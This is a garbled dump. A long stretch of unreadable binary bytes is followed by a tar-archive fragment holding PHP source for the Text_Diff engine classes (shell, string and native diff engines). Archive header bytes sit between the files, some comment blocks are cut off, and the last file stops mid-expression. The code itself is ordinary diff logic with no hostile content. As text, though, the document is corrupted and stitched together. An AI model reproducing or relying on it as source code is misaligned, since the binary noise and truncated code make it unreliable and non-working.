eB`-W.t0FLmgVl6݉r,‘%:$Lj[ZX>XMʵۭ0X;rI9z$ɚ+e\V\\59Y+kjڮ5M h)lTXՄp1Ei>{n~iYGoUkf0+D+D񄲱FW.j5{-H=^/vmeBa'ѫ;dxu#s^GGWZ^_/kF׊Qq)noz sC- liYoC{u ~bR'ڈ~FXf7e2^7'uL4nfd)'?.2˝E2KY6sfm\xsޮ/V'BvʘMop^vSF箳ˡf),=_6r˅-{njoobtڮHr_fd>:nkvkbL& b~űƮ3b~X:VJNҋM+9lEOVh7ʩ=i5!ojaJQpՄĆuft_L97{e]e>zϹKF=k{IwnOg^s5]^6.ﲫ,SV[璍^1w[&|vYګ|'G}$舵 ,ݶtbLE[bj5;xڻKzK\IV|v-LbJ[5{ͱnpy[b$V n#$ +{J{J_-f9\F|]fڕ ;՝8L4NWT&wj&JZll._."=2r枽KM3Urx:U"'/ bض< |UȒvŶitYv}(4rQHoBb-6F-+hw\ Ygʖ/F bdWl/ӏEZiKګ.W,Tj%^/ꌬ2hͧKv{9)OٽG'KYw2lɖPꉮD,WVM*w6*M_m;9N=-W-7\jϾX32J+N_͡oM;IOlP]ћwv*u_lxy\;Ij#o[Iî~S1\-a 4l.f_ zM/㡍ng^l%szu/dI9B;aZ&q/fƸ~g]NQ"@T;`iƓ]{eɽXSUKj=LmV3hjey3KŨ%+~w,y쮦8W{']E]qF'ISMm~_5n9y49vVl% !*sz:e!reU0ˆKleRb<ጦuOߨ6w?hri&TD*ͽ]*j9q{5X)bsŴhnfz)imxbO1k%җ^bεq- w.1Y77q_W}Ղݗ,m\o#`>rlŪdVޥ6f@&H6^w5]cWv5 ^NzfTTn:, o䲕H'+\ǧ^Q$pLfZbKf{by& T#}5xz%d StGJ_yi[-bnolh :Nzsu]Y];빼{7JZ6Lmw:(gʹW $dsT:t)oVl՘] msvW D#Z cvv:nw匭VWb",qxPٝ9cUW25bmB:Nŝ WOV36z{͎_ ^sݬ+=W Ws?lPU_5lhгg%+ⅆ FlU Ztmo!,A A0X2Zv+ubG5_w߿9L$V lV̫DTeTZ\nA?sRi9ً+|9LgkQt8BYtb{v<6V)3UϙmZbm.vK|iViNoNgSb؜f>\8I3M!r=| LhX\fkJ30.kx.v9r7ZSkxJf.Zq<}:҈բUKX &ᴓIoo)tZMwꉵSEfXO(WK. ƒnH*ZK;>sm,;Tam' NX+F][mڅh;jңe~-m7 t!Z 7~d+̑|1(rIThYu4΄#XcL/dbk>s מ9 4τc4}zk.l,nr).$vܴbŕz\̯mΞbJ5=g4׍{߷rB^,+Kftlbq%wo9s3Eމ(5f8vՄ}1h"m`o lHok /.{Y`,|z?XH}G+ej~cQuȇ4#nywwy,NY)[VbL{/kxY`2`t=/}j]-+;lILo3%RB-7tjg\ F7ẰR(>Iovy9WcID*ۭDWnt9^mՕ%Kdbs/zj5ڭ;v̺#kf=Ol3j5G:NC4-zt=_KŹ^öS8߭v‹{XMz.ww2J׬&.X]+)5==rqsq; JV2\}/o+_Y_*2@q/r#ԗQ`Vr XjL76|G6xO%\ppf.'Mjm`2[|(s'&CV9tJK\rZ@>%`%s\^"w~Ո'6!iWUKwTqtRדBu+xۋc/u%aQp}Z3 @ky6s}ev[F^s]ނmﴚ o[`|nwǑ=Q\"k;lHtpԽ]_/`4+U9s]2d1isU:6[|PT d%h3{3^eYkH[P wzHG9T*˚WB%ߥmt%\h#6n(6^k-A$^6j//9FߟDB~K6$fYS5?\'$un]tyi z+骸*=߆O6,W͂`K(M-G%%3vU "__ @}bULfl R=F= yzXڵ/9-m$v˞9J|bw+{hkm/3._nGȝ63h8cZ(Tb6TP162raV ..eXjA ŕvW[sES;tWKlkQOZGP,2՝b;W_t8>kKXl0εp8k"/vlkIv#P΄>W 16DPhU:@sd `8a;*;|lqmt2!VT@Kzwvbk1.2ލ8Cr܋rI߆lq3^~cc{TzsǽXȕHtf.$󲄽IUhvl-))"~ ?@Q 0.uVͰ0RAz1cbЋ(7-:LDh2tBȁGRĤCFlTlbZ^ m 5w8t k EEQMQkVjUd1~˴ Ѣb$PvYCY!r-)ۚ$/^g e%abhog fuqPcuHSl,uwK(Ȉ2f5l`A~=~ Y g2 R+Mvc㲩K}zPgqjlC+ile\odPC&?~vgyGe쇝Plk +pOD-V>fd|\t7eFYt28~,| e$@uA8JȃZ0f CqGE:6jߩD$NbC5TV2,j[E4yPC592PŞ{z T< >0w(UXOc{JWypп:2x"e "9"4RD:{3M=~aT`7km=pDsU<rA R¸Ɔq6 );2u^dqq8P4qMod,$hǚFE|T*I(1!cW"%Eo)u?~<\ĽD녹<@H +2h; ГRyL%B2 ! EG,`, Mwݿ41Ï9uR11]Szc*R /Bn(Ÿ-|uoǠe`pf ?s:o2@ LJ巴2opdh"SC];:T}^v:1bu j^Z5Dx $C׀ZR`]Hml19 GAeF،ƚ[1@& # AC4q@N&ʨ&4׿G9<2FwKX#1X@7(!HHv(^Ɖ-譈˵Y W`Ef<8,qH6J4~ !/g o^Iȕ{*ǴC`F 6\tPNdIy7يwp?-FJ2.cPpxtO,{4P9q@iN`w4-O|&N'HS~xIt7bg4s6ٿsg#SMyJ}؈9(#qőrR뛄쁂 B1$dA_dt]NU0r9 Q\*x:gAaui|D˪%?ѧl}9?tb|w~{a ~!ّ$PNlT5ykQ(Z&wRPjK~a0Q1E{tKb6ŪFDGpq`'+,մM婫0AU@qb|Ke Vj~ ,Fek`Xܕ ~& ư #<  гõm=N}!oaauft(f ,)\&qfp*)cXR:7B7l6;wZH\S`gfE "R,=׊oz_H+- iՔ5|HzL׻a0]zzr9H6q՚0MrيNZWJ0Ę(O}V: \{} #Mppe\e'DW!4I9S yn"/BdC9۳]~.,>xހ8 uG=sb^aM'4Cxpck(y'Ʉ 1ء89^|^ T N/δɹJn`'d֜iOzM@uݴ[@u~GėrxF)"GŠSqodL3ĹSA?FI5pis;w*Ώ8yA6ia4ph<[VVz|6yu~Xƣl3""yQu}xCWRdȃOdIHcߓ&*g35J3~b _*uӊXUc>p@|]SUw#Y=tUy,^04&_mR$/MC uyndw1:*՟Eϩjc>Qʊ.< jæt `|$s0Ȇ(齺$Ȳ[F6ierq+O+ hjM pAt@ ֓UB=P?ޤkXz6%k&#w3ЫjTjȻ'Z(yIoI)ywY}\OxpoP*?^:`maSL>@  c;r9h%%K/eM y¨W |IKC1h͢tۂ."<*4ʆ&4/Rk8[  a$  5CM1/Xxtcx [B>&K`l#EM0S[,ae% [ۡ(@9d/ nWwFv3k@' o!1Kj7Ac.~\O@S ˆVJvHـ9rg4[V- z="5=F%wɖehqv }Km` u[`[,!`$8//)"r1r<4%PZ70b<%y@g>ݡIʜ G]JAPO J#wXxPAtL>o\#T9.k%@ bM'r yfZ+}H`/=fk( a<[9;&d`4sH>HnY.&b5bȊ~ZZ'0ܵLQfJJ#yrk7 #'PӘ¨ڕv ;$&C$ОGQU>GX_.10ҴE<0@Y1W\A(C`9~VKh/>2HVYPAM h*SeA=* 7֚q0ݜ30iQNF6Rdףk+62[#3 'pl!n \&N=.JM貞tKcJD:':,}w"`#yFu[yJ7ǥpX(YaҺ(FvZ暶:z >i`r!!/hq\&ʚ!.CR*%#r 0y[{@X5q]xQ4dq_eH׈B(S r(88[ 00=$g6vJoP+Hhv82efX1>S^˃S0K u:\Ե#H6hT`<\ oM tRU,^lTtV;jPNQʘV8h ` PjAk/lp .u؊)LSrhSuIBk⫥JpVT FQI:8+x"OcCѩ) E'(&z0BBc2 Gbbi9JefHZ; r]^۝ngw8]nmVEZ4NN,DBT,DB#- >戦&g vaѦ޺ Q8~b(%r(EӝDX!Y_AQ:Ơ0&A \[@i1/uۜ!'<8^tN̓c`3P8a葓J[Nr+I.9ɯ$9X^%!04<1A\$TQbA6PfhQH Jv @/U-0|RN +8Y=Qe9 y!5Kiܕ&?sdE|(Ek/_r*9e.7*a6OvynX!'& 3$@eF(/L#D4 fjJjQ UP8ݮr|͖24m;> A `8"pja@ lp|q ]Wa8 Z8ݕ٤4Lh0-EYH4ۘڶaP"^kR`!ͦ6Ani{藴hHxsimA }K5δQXp RXO@4p_`*6nuͦ3Eڴ哭S3{-IзX ʴ@LRh͊:15mU{ ͠1hPFV+}r1THF-?M rt /bs[@ez ML7s.VKdYl0BYkBVFYX L&jxCfXFA)'3YCH0"jFhV-h؛6 Yzqr% >YJZs(FbX0G :]m9 |gkزHTgA{Qh/FZ]o .*04Alg3]ڡ@@U/wJViC Z쬚!KTp2Rh(@Q) m6+ >P띤OY~"A}Ď ̄ 5/c9'IH4 mpauoUHEc!'bL .*{hG*1NtGC2mU`PsM"C)^HH 2MޗA.B:(C%We%hQv_KgQE\/׼tH#zbh6@K2Nx1R^2vՓ!(1Ǭsꎾ6; sވyq ý tG0N5)A kX{/EemTE`ÅTSer%EQ2U[ &I]єy3H1C2R=.ÝØMdk3#_5\:R1 %>+8ǁp}ri&h%T%\&;ULo+!叞 b2ӒV$dv 橦sZԶRUQlΚ`I9lAGW5MA1dE~Ķ2o{LVohW=#U7ʨRʗ@81(x!vCQ|gwW9LAIDùg%ZlB%c"w(7{$?C]^Nˍ`89I?tHq(P~^ (?*rQ ׷=G1{;-ol&r01d0j!ߠ koipeFlĸSI RGEԇͦWxI+D Wz(*f`QD&+GW=J@=l4n8*lR#*W{L &õY)8;Y  #{ǨQy#0ԕ7bgUx-| ,98TaGn~0ۭt|͎6v#Z:%Z% .d: BIwp$ h txD^8Z0-RyP9сD B.'nJYv|EX Cux8vF9XCgLjs#@wK  Z=C8DF=g+Uaӊ=8΀IwBs*^AU\(bW-8ca3M_=Oa&j{zHG^5Pޒ8b%(M$9[ձjn)NC ЧjX\ŕ>C(tS:T*0Meu *WLS=dh+WCG40h*'*k=LM=E|Z񌖯5練 8 Bͨ8h@zyI,"t ywUvuG."> ӽ>Ui0 hh e]#$O[ٚۚ2ӮP ^ sm0'st 7GlǏ!8rCW/_"5$lq@ ~x-SQ.Em JXdt &`? X|`K H):WZcYIt*' `AH@m ق^. ]ŴIV$v{T[;;쨇0\=*7jBafcRo(D8ZHh@L`7 #_M0!Z+>]ADM 94g lSk1iM&7߆7"MV@"NA 7b@w@!- 9reRlJmW ¶ĥSȦ 4-0,Gɩ|)p_ 2]aXjdBA/Q@  ()` ;%ihABa㓂 Y%Q0BeGnHM#( [!!#B&E >uw$ߕj. -Q]jS ^M?>,5&C4/. 4j#rɡH` !4zpqX`RҶ(cI]+ *qp(i<'S2ʡmj@-PZQ+q @ElۚJ`p hUOO )-'htOO @vpt=&LV(7%[aD]S]?8 |␩cdiƁ4+5TDe4MvDm8FRw䦁 j!Yؐ4hbhCђ"ѥV^HSX(OI2OW#G6% DCe$V ? 6Fz+uȨɴ2Qle[ #YCJzD!ߥ .qw$0 _e䔂'rIP1iP`Qi!WrX mK?m!dHn6Ō1NZ-·'}PQ8rG o7}IrO RMɜInё,^WEӘY!h3tP^N&. CBc=pEkdV<ZUCm0rO=-SF!y{yfkc~%qHfA!'"Nкll@l.Bzo'a*T_a?J`.-2@;q-KSVV# AX|ok[E v )-e4`1ε[,0 8*b$>Ll_f <׮Ց~@fH}IO}9B$uL1kЗ/BKMiLhmN-5^АdDʼNvD2ӌ+'[\HSG#:UZjcH&;^8$|}T]A3z YTE`%)P|UjrɆiWudFL@T-r!PɑJGULgjo#ٻNZɵsG:~e΅bgCQ :/t8i 0 C`qh@?POTbJZVfr9I@m1*Lsiڣ]/UmGU߻x;V$*Xt`k 5 AZ=m`4>&%CEVYZؿ_P:ЍʊEC&D-ԑ>9BT^wJ{VdfG!OC+#yNh'bU MVH!n}Zhk cAMbC|~Z><*nGJn084K@]+YZG7:ۧ\|Bd 5I p5 ã3fWh+TkuG+. evPȣ v WMpXHʈ9O朷HeSkI|.$t)91tK9-uHO vC eijXJ;'pnOq坑™AՑ^K=\%'Ja=aM2:ТveY=Hj(0TʡbW -uלу9)cp]EY.p'佄a?e4n<1T%:)}كTZ0+ӾH !˝p\vfP*gln\]Pл[Y\w߅C(vOrntcw]y7tڴN5q)t's[F;U8`4(W .O4$P<rTkm) avgQ`y;`;\KyǑQ=grxkb]l-B^g1.$ Te$|0@jƷ;:Y w(9C!iļLA|G>s5̸I?>4g\~@c{vXg3ny#G}a4>|Fg ge_ο>vI@f::[&0L'h#rTV&hzG"Yn,ejȥvtYIGw&Y`szfܞ<g.ׅY X8F[G}?/G㘱_U483qn|F}ގh|CUFsHOo/ϝ&FO~Μ {vޗ&N]<gѳ?Y񟟞مіcjrWScOKG'ȵV[1yxItT'@L!@ g ~HM3ڮC2j:4{u~zNa.xNh=/o9. |ggTgm=M<9a.m-M3v:oy6?)N=pJJO'F5JO?dGΠ~~P.irj9<m.Fqiwh삖6@e{3Q]ؑ;whq؁thI=G ?8_9E.]×PKR'#[â8o Engine.tarnu[shell.php000064400000012123150554226750006376 0ustar00 * @package Text_Diff * @since 0.3.0 */ class Text_Diff_Engine_shell { /** * Path to the diff executable * * @var string */ var $_diffCommand = 'diff'; /** * Returns the array of differences. * * @param array $from_lines lines of text from old file * @param array $to_lines lines of text from new file * * @return array all changes made (array with Text_Diff_Op_* objects) */ function diff($from_lines, $to_lines) { array_walk($from_lines, array('Text_Diff', 'trimNewlines')); array_walk($to_lines, array('Text_Diff', 'trimNewlines')); $temp_dir = Text_Diff::_getTempDir(); // Execute gnu diff or similar to get a standard diff file. $from_file = tempnam($temp_dir, 'Text_Diff'); $to_file = tempnam($temp_dir, 'Text_Diff'); $fp = fopen($from_file, 'w'); fwrite($fp, implode("\n", $from_lines)); fclose($fp); $fp = fopen($to_file, 'w'); fwrite($fp, implode("\n", $to_lines)); fclose($fp); $diff = shell_exec($this->_diffCommand . ' ' . $from_file . ' ' . $to_file); unlink($from_file); unlink($to_file); if (is_null($diff)) { // No changes were made return array(new Text_Diff_Op_copy($from_lines)); } $from_line_no = 1; $to_line_no = 1; $edits = array(); // Get changed lines by parsing something like: // 0a1,2 // 1,2c4,6 // 1,5d6 preg_match_all('#^(\d+)(?:,(\d+))?([adc])(\d+)(?:,(\d+))?$#m', $diff, $matches, PREG_SET_ORDER); foreach ($matches as $match) { if (!isset($match[5])) { // This paren is not set every time (see regex). $match[5] = false; } if ($match[3] == 'a') { $from_line_no--; } if ($match[3] == 'd') { $to_line_no--; } if ($from_line_no < $match[1] || $to_line_no < $match[4]) { // copied lines assert($match[1] - $from_line_no == $match[4] - $to_line_no); array_push($edits, new Text_Diff_Op_copy( $this->_getLines($from_lines, $from_line_no, $match[1] - 1), $this->_getLines($to_lines, $to_line_no, $match[4] - 1))); } switch ($match[3]) { case 'd': // deleted lines array_push($edits, new Text_Diff_Op_delete( $this->_getLines($from_lines, $from_line_no, $match[2]))); $to_line_no++; break; case 'c': // changed lines array_push($edits, new Text_Diff_Op_change( $this->_getLines($from_lines, $from_line_no, $match[2]), $this->_getLines($to_lines, $to_line_no, $match[5]))); break; case 'a': // added lines array_push($edits, new Text_Diff_Op_add( $this->_getLines($to_lines, $to_line_no, $match[5]))); $from_line_no++; break; } } if (!empty($from_lines)) { // Some lines might still be pending. Add them as copied array_push($edits, new Text_Diff_Op_copy( $this->_getLines($from_lines, $from_line_no, $from_line_no + count($from_lines) - 1), $this->_getLines($to_lines, $to_line_no, $to_line_no + count($to_lines) - 1))); } return $edits; } /** * Get lines from either the old or new text * * @access private * * @param array $text_lines Either $from_lines or $to_lines (passed by reference). * @param int $line_no Current line number (passed by reference). * @param int $end Optional end line, when we want to chop more * than one line. * * @return array The chopped lines */ function _getLines(&$text_lines, &$line_no, $end = false) { if (!empty($end)) { $lines = array(); // We can shift even more while ($line_no <= $end) { array_push($lines, array_shift($text_lines)); $line_no++; } } else { $lines = array(array_shift($text_lines)); $line_no++; } return $lines; } } string.php000064400000020233150554227020006565 0ustar00 * $patch = file_get_contents('example.patch'); * $diff = new Text_Diff('string', array($patch)); * $renderer = new Text_Diff_Renderer_inline(); * echo $renderer->render($diff); * * * Copyright 2005 Örjan Persson * Copyright 2005-2010 The Horde Project (http://www.horde.org/) * * See the enclosed file COPYING for license information (LGPL). If you did * not receive this file, see https://opensource.org/license/lgpl-2-1/. * * @author Örjan Persson * @package Text_Diff * @since 0.2.0 */ class Text_Diff_Engine_string { /** * Parses a unified or context diff. * * First param contains the whole diff and the second can be used to force * a specific diff type. If the second parameter is 'autodetect', the * diff will be examined to find out which type of diff this is. * * @param string $diff The diff content. * @param string $mode The diff mode of the content in $diff. One of * 'context', 'unified', or 'autodetect'. * * @return array List of all diff operations. */ function diff($diff, $mode = 'autodetect') { // Detect line breaks. $lnbr = "\n"; if (strpos($diff, "\r\n") !== false) { $lnbr = "\r\n"; } elseif (strpos($diff, "\r") !== false) { $lnbr = "\r"; } // Make sure we have a line break at the EOF. if (substr($diff, -strlen($lnbr)) != $lnbr) { $diff .= $lnbr; } if ($mode != 'autodetect' && $mode != 'context' && $mode != 'unified') { return PEAR::raiseError('Type of diff is unsupported'); } if ($mode == 'autodetect') { $context = strpos($diff, '***'); $unified = strpos($diff, '---'); if ($context === $unified) { return PEAR::raiseError('Type of diff could not be detected'); } elseif ($context === false || $unified === false) { $mode = $context !== false ? 'context' : 'unified'; } else { $mode = $context < $unified ? 'context' : 'unified'; } } // Split by new line and remove the diff header, if there is one. $diff = explode($lnbr, $diff); if (($mode == 'context' && strpos($diff[0], '***') === 0) || ($mode == 'unified' && strpos($diff[0], '---') === 0)) { array_shift($diff); array_shift($diff); } if ($mode == 'context') { return $this->parseContextDiff($diff); } else { return $this->parseUnifiedDiff($diff); } } /** * Parses an array containing the unified diff. * * @param array $diff Array of lines. * * @return array List of all diff operations. */ function parseUnifiedDiff($diff) { $edits = array(); $end = count($diff) - 1; for ($i = 0; $i < $end;) { $diff1 = array(); switch (substr($diff[$i], 0, 1)) { case ' ': do { $diff1[] = substr($diff[$i], 1); } while (++$i < $end && substr($diff[$i], 0, 1) == ' '); $edits[] = new Text_Diff_Op_copy($diff1); break; case '+': // get all new lines do { $diff1[] = substr($diff[$i], 1); } while (++$i < $end && substr($diff[$i], 0, 1) == '+'); $edits[] = new Text_Diff_Op_add($diff1); break; case '-': // get changed or removed lines $diff2 = array(); do { $diff1[] = substr($diff[$i], 1); } while (++$i < $end && substr($diff[$i], 0, 1) == '-'); while ($i < $end && substr($diff[$i], 0, 1) == '+') { $diff2[] = substr($diff[$i++], 1); } if (count($diff2) == 0) { $edits[] = new Text_Diff_Op_delete($diff1); } else { $edits[] = new Text_Diff_Op_change($diff1, $diff2); } break; default: $i++; break; } } return $edits; } /** * Parses an array containing the context diff. * * @param array $diff Array of lines. * * @return array List of all diff operations. */ function parseContextDiff(&$diff) { $edits = array(); $i = $max_i = $j = $max_j = 0; $end = count($diff) - 1; while ($i < $end && $j < $end) { while ($i >= $max_i && $j >= $max_j) { // Find the boundaries of the diff output of the two files for ($i = $j; $i < $end && substr($diff[$i], 0, 3) == '***'; $i++); for ($max_i = $i; $max_i < $end && substr($diff[$max_i], 0, 3) != '---'; $max_i++); for ($j = $max_i; $j < $end && substr($diff[$j], 0, 3) == '---'; $j++); for ($max_j = $j; $max_j < $end && substr($diff[$max_j], 0, 3) != '***'; $max_j++); } // find what hasn't been changed $array = array(); while ($i < $max_i && $j < $max_j && strcmp($diff[$i], $diff[$j]) == 0) { $array[] = substr($diff[$i], 2); $i++; $j++; } while ($i < $max_i && ($max_j-$j) <= 1) { if ($diff[$i] != '' && substr($diff[$i], 0, 1) != ' ') { break; } $array[] = substr($diff[$i++], 2); } while ($j < $max_j && ($max_i-$i) <= 1) { if ($diff[$j] != '' && substr($diff[$j], 0, 1) != ' ') { break; } $array[] = substr($diff[$j++], 2); } if (count($array) > 0) { $edits[] = new Text_Diff_Op_copy($array); } if ($i < $max_i) { $diff1 = array(); switch (substr($diff[$i], 0, 1)) { case '!': $diff2 = array(); do { $diff1[] = substr($diff[$i], 2); if ($j < $max_j && substr($diff[$j], 0, 1) == '!') { $diff2[] = substr($diff[$j++], 2); } } while (++$i < $max_i && substr($diff[$i], 0, 1) == '!'); $edits[] = new Text_Diff_Op_change($diff1, $diff2); break; case '+': do { $diff1[] = substr($diff[$i], 2); } while (++$i < $max_i && substr($diff[$i], 0, 1) == '+'); $edits[] = new Text_Diff_Op_add($diff1); break; case '-': do { $diff1[] = substr($diff[$i], 2); } while (++$i < $max_i && substr($diff[$i], 0, 1) == '-'); $edits[] = new Text_Diff_Op_delete($diff1); break; } } if ($j < $max_j) { $diff2 = array(); switch (substr($diff[$j], 0, 1)) { case '+': do { $diff2[] = substr($diff[$j++], 2); } while ($j < $max_j && substr($diff[$j], 0, 1) == '+'); $edits[] = new Text_Diff_Op_add($diff2); break; case '-': do { $diff2[] = substr($diff[$j++], 2); } while ($j < $max_j && substr($diff[$j], 0, 1) == '-'); $edits[] = new Text_Diff_Op_delete($diff2); break; } } } return $edits; } } native.php000064400000037261150554227100006555 0ustar00 2, and some optimizations) are from * Geoffrey T. Dairiki . The original PHP version of this * code was written by him, and is used/adapted with his permission. * * Copyright 2004-2010 The Horde Project (http://www.horde.org/) * * See the enclosed file COPYING for license information (LGPL). If you did * not receive this file, see https://opensource.org/license/lgpl-2-1/. * * @author Geoffrey T. Dairiki * @package Text_Diff */ class Text_Diff_Engine_native { public $xchanged; public $ychanged; public $xv; public $yv; public $xind; public $yind; public $seq; public $in_seq; public $lcs; function diff($from_lines, $to_lines) { array_walk($from_lines, array('Text_Diff', 'trimNewlines')); array_walk($to_lines, array('Text_Diff', 'trimNewlines')); $n_from = count($from_lines); $n_to = count($to_lines); $this->xchanged = $this->ychanged = array(); $this->xv = $this->yv = array(); $this->xind = $this->yind = array(); unset($this->seq); unset($this->in_seq); unset($this->lcs); // Skip leading common lines. for ($skip = 0; $skip < $n_from && $skip < $n_to; $skip++) { if ($from_lines[$skip] !== $to_lines[$skip]) { break; } $this->xchanged[$skip] = $this->ychanged[$skip] = false; } // Skip trailing common lines. $xi = $n_from; $yi = $n_to; for ($endskip = 0; --$xi > $skip && --$yi > $skip; $endskip++) { if ($from_lines[$xi] !== $to_lines[$yi]) { break; } $this->xchanged[$xi] = $this->ychanged[$yi] = false; } // Ignore lines which do not exist in both files. for ($xi = $skip; $xi < $n_from - $endskip; $xi++) { $xhash[$from_lines[$xi]] = 1; } for ($yi = $skip; $yi < $n_to - $endskip; $yi++) { $line = $to_lines[$yi]; if (($this->ychanged[$yi] = empty($xhash[$line]))) { continue; } $yhash[$line] = 1; $this->yv[] = $line; $this->yind[] = $yi; } for ($xi = $skip; $xi < $n_from - $endskip; $xi++) { $line = $from_lines[$xi]; if (($this->xchanged[$xi] = empty($yhash[$line]))) { continue; } $this->xv[] = $line; $this->xind[] = $xi; } // Find the LCS. $this->_compareseq(0, count($this->xv), 0, count($this->yv)); // Merge edits when possible. $this->_shiftBoundaries($from_lines, $this->xchanged, $this->ychanged); $this->_shiftBoundaries($to_lines, $this->ychanged, $this->xchanged); // Compute the edit operations. $edits = array(); $xi = $yi = 0; while ($xi < $n_from || $yi < $n_to) { assert($yi < $n_to || $this->xchanged[$xi]); assert($xi < $n_from || $this->ychanged[$yi]); // Skip matching "snake". $copy = array(); while ($xi < $n_from && $yi < $n_to && !$this->xchanged[$xi] && !$this->ychanged[$yi]) { $copy[] = $from_lines[$xi++]; ++$yi; } if ($copy) { $edits[] = new Text_Diff_Op_copy($copy); } // Find deletes & adds. $delete = array(); while ($xi < $n_from && $this->xchanged[$xi]) { $delete[] = $from_lines[$xi++]; } $add = array(); while ($yi < $n_to && $this->ychanged[$yi]) { $add[] = $to_lines[$yi++]; } if ($delete && $add) { $edits[] = new Text_Diff_Op_change($delete, $add); } elseif ($delete) { $edits[] = new Text_Diff_Op_delete($delete); } elseif ($add) { $edits[] = new Text_Diff_Op_add($add); } } return $edits; } /** * Divides the Largest Common Subsequence (LCS) of the sequences (XOFF, * XLIM) and (YOFF, YLIM) into NCHUNKS approximately equally sized * segments. * * Returns (LCS, PTS). LCS is the length of the LCS. PTS is an array of * NCHUNKS+1 (X, Y) indexes giving the diving points between sub * sequences. The first sub-sequence is contained in (X0, X1), (Y0, Y1), * the second in (X1, X2), (Y1, Y2) and so on. Note that (X0, Y0) == * (XOFF, YOFF) and (X[NCHUNKS], Y[NCHUNKS]) == (XLIM, YLIM). * * This function assumes that the first lines of the specified portions of * the two files do not match, and likewise that the last lines do not * match. The caller must trim matching lines from the beginning and end * of the portions it is going to specify. */ function _diag ($xoff, $xlim, $yoff, $ylim, $nchunks) { $flip = false; if ($xlim - $xoff > $ylim - $yoff) { /* Things seems faster (I'm not sure I understand why) when the * shortest sequence is in X. */ $flip = true; list ($xoff, $xlim, $yoff, $ylim) = array($yoff, $ylim, $xoff, $xlim); } if ($flip) { for ($i = $ylim - 1; $i >= $yoff; $i--) { $ymatches[$this->xv[$i]][] = $i; } } else { for ($i = $ylim - 1; $i >= $yoff; $i--) { $ymatches[$this->yv[$i]][] = $i; } } $this->lcs = 0; $this->seq[0]= $yoff - 1; $this->in_seq = array(); $ymids[0] = array(); $numer = $xlim - $xoff + $nchunks - 1; $x = $xoff; for ($chunk = 0; $chunk < $nchunks; $chunk++) { if ($chunk > 0) { for ($i = 0; $i <= $this->lcs; $i++) { $ymids[$i][$chunk - 1] = $this->seq[$i]; } } $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $chunk) / $nchunks); for (; $x < $x1; $x++) { $line = $flip ? $this->yv[$x] : $this->xv[$x]; if (empty($ymatches[$line])) { continue; } $matches = $ymatches[$line]; reset($matches); while ($y = current($matches)) { if (empty($this->in_seq[$y])) { $k = $this->_lcsPos($y); assert($k > 0); $ymids[$k] = $ymids[$k - 1]; break; } next($matches); } while ($y = current($matches)) { if ($y > $this->seq[$k - 1]) { assert($y <= $this->seq[$k]); /* Optimization: this is a common case: next match is * just replacing previous match. */ $this->in_seq[$this->seq[$k]] = false; $this->seq[$k] = $y; $this->in_seq[$y] = 1; } elseif (empty($this->in_seq[$y])) { $k = $this->_lcsPos($y); assert($k > 0); $ymids[$k] = $ymids[$k - 1]; } next($matches); } } } $seps[] = $flip ? array($yoff, $xoff) : array($xoff, $yoff); $ymid = $ymids[$this->lcs]; for ($n = 0; $n < $nchunks - 1; $n++) { $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $n) / $nchunks); $y1 = $ymid[$n] + 1; $seps[] = $flip ? array($y1, $x1) : array($x1, $y1); } $seps[] = $flip ? array($ylim, $xlim) : array($xlim, $ylim); return array($this->lcs, $seps); } function _lcsPos($ypos) { $end = $this->lcs; if ($end == 0 || $ypos > $this->seq[$end]) { $this->seq[++$this->lcs] = $ypos; $this->in_seq[$ypos] = 1; return $this->lcs; } $beg = 1; while ($beg < $end) { $mid = (int)(($beg + $end) / 2); if ($ypos > $this->seq[$mid]) { $beg = $mid + 1; } else { $end = $mid; } } assert($ypos != $this->seq[$end]); $this->in_seq[$this->seq[$end]] = false; $this->seq[$end] = $ypos; $this->in_seq[$ypos] = 1; return $end; } /** * Finds LCS of two sequences. * * The results are recorded in the vectors $this->{x,y}changed[], by * storing a 1 in the element for each line that is an insertion or * deletion (ie. is not in the LCS). * * The subsequence of file 0 is (XOFF, XLIM) and likewise for file 1. * * Note that XLIM, YLIM are exclusive bounds. All line numbers are * origin-0 and discarded lines are not counted. */ function _compareseq ($xoff, $xlim, $yoff, $ylim) { /* Slide down the bottom initial diagonal. */ while ($xoff < $xlim && $yoff < $ylim && $this->xv[$xoff] == $this->yv[$yoff]) { ++$xoff; ++$yoff; } /* Slide up the top initial diagonal. */ while ($xlim > $xoff && $ylim > $yoff && $this->xv[$xlim - 1] == $this->yv[$ylim - 1]) { --$xlim; --$ylim; } if ($xoff == $xlim || $yoff == $ylim) { $lcs = 0; } else { /* This is ad hoc but seems to work well. $nchunks = * sqrt(min($xlim - $xoff, $ylim - $yoff) / 2.5); $nchunks = * max(2,min(8,(int)$nchunks)); */ $nchunks = min(7, $xlim - $xoff, $ylim - $yoff) + 1; list($lcs, $seps) = $this->_diag($xoff, $xlim, $yoff, $ylim, $nchunks); } if ($lcs == 0) { /* X and Y sequences have no common subsequence: mark all * changed. */ while ($yoff < $ylim) { $this->ychanged[$this->yind[$yoff++]] = 1; } while ($xoff < $xlim) { $this->xchanged[$this->xind[$xoff++]] = 1; } } else { /* Use the partitions to split this problem into subproblems. */ reset($seps); $pt1 = $seps[0]; while ($pt2 = next($seps)) { $this->_compareseq ($pt1[0], $pt2[0], $pt1[1], $pt2[1]); $pt1 = $pt2; } } } /** * Adjusts inserts/deletes of identical lines to join changes as much as * possible. * * We do something when a run of changed lines include a line at one end * and has an excluded, identical line at the other. We are free to * choose which identical line is included. `compareseq' usually chooses * the one at the beginning, but usually it is cleaner to consider the * following identical line to be the "change". * * This is extracted verbatim from analyze.c (GNU diffutils-2.7). */ function _shiftBoundaries($lines, &$changed, $other_changed) { $i = 0; $j = 0; assert(count($lines) == count($changed)); $len = count($lines); $other_len = count($other_changed); while (1) { /* Scan forward to find the beginning of another run of * changes. Also keep track of the corresponding point in the * other file. * * Throughout this code, $i and $j are adjusted together so that * the first $i elements of $changed and the first $j elements of * $other_changed both contain the same number of zeros (unchanged * lines). * * Furthermore, $j is always kept so that $j == $other_len or * $other_changed[$j] == false. */ while ($j < $other_len && $other_changed[$j]) { $j++; } while ($i < $len && ! $changed[$i]) { assert($j < $other_len && ! $other_changed[$j]); $i++; $j++; while ($j < $other_len && $other_changed[$j]) { $j++; } } if ($i == $len) { break; } $start = $i; /* Find the end of this run of changes. */ while (++$i < $len && $changed[$i]) { continue; } do { /* Record the length of this run of changes, so that we can * later determine whether the run has grown. */ $runlength = $i - $start; /* Move the changed region back, so long as the previous * unchanged line matches the last changed one. This merges * with previous changed regions. */ while ($start > 0 && $lines[$start - 1] 